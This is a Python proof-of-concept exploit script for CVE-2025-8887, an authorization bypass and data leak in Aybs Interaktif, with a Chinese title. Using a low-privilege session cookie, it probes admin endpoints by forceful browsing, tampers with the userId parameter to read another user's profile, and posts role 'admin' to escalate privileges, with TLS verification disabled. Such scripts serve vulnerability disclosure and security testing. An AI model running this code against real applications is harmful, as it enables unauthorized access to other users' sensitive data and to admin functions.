CVE-2025-8887 Aybs Interaktif授权绕过与敏感信息泄露漏洞

# CVE-2025-8887 PoC - Aybs Interaktif Authorization Bypass # Vulnerability: Authorization Bypass Through User-Controlled Key # Affected: Aybs Interaktif 2024 - 28082025 import requests # Target configuration TARGET_URL = "https://target-aybs-app.com" SESSION_COOKIE = "session=YOUR_SESSION_COOKIE" # Low-privilege authenticated session # Step 1: Forceful Browsing - Access admin/restricted endpoints directly def forceful_browsing(): """Attempt to access restricted endpoints via direct URL navigation""" restricted_paths = [ "/admin/dashboard", "/admin/users", "/api/v1/admin/config", "/management/reports", ] headers = {"Cookie": SESSION_COOKIE} for path in restricted_paths: resp = requests.get(f"{TARGET_URL}{path}", headers=headers, verify=False) if resp.status_code == 200: print(f"[+] Accessible without proper authorization: {path}") print(f" Response snippet: {resp.text[:200]}") # Step 2: Parameter Injection - Modify user-controlled keys to access other users' data def parameter_injection(): """Modify userId parameter to access other users' sensitive information""" headers = {"Cookie": SESSION_COOKIE} # Original request (legitimate): GET /api/user/profile?userId=self # Modified request (exploit): GET /api/user/profile?userId=victim_id victim_user_id = "100" # Target user ID resp = requests.get( f"{TARGET_URL}/api/user/profile?userId={victim_user_id}", headers=headers, verify=False ) if resp.status_code == 200 and "victim_data_indicator" in resp.text: print(f"[+] Successfully accessed victim user {victim_user_id} data") print(f" Response: {resp.text}") # Step 3: Input Data Manipulation - Alter input to bypass authorization checks def input_data_manipulation(): """Manipulate form/API input to bypass authorization""" headers = {"Cookie": SESSION_COOKIE, "Content-Type": "application/json"} payload = { "role": "admin", # Privilege escalation via parameter "userId": "1", # Target admin user "action": "view_all" # Force action beyond permission } resp = requests.post( f"{TARGET_URL}/api/records/access", json=payload, headers=headers, verify=False ) if resp.status_code == 200: print(f"[+] Authorization bypassed via input manipulation") print(f" Response: {resp.text}") if __name__ == "__main__": print("[*] CVE-2025-8887 PoC - Aybs Interaktif Authorization Bypass") print("[*] Testing Forceful Browsing...") forceful_browsing() print("\n[*] Testing Parameter Injection...") parameter_injection() print("\n[*] Testing Input Data Manipulation...") input_data_manipulation()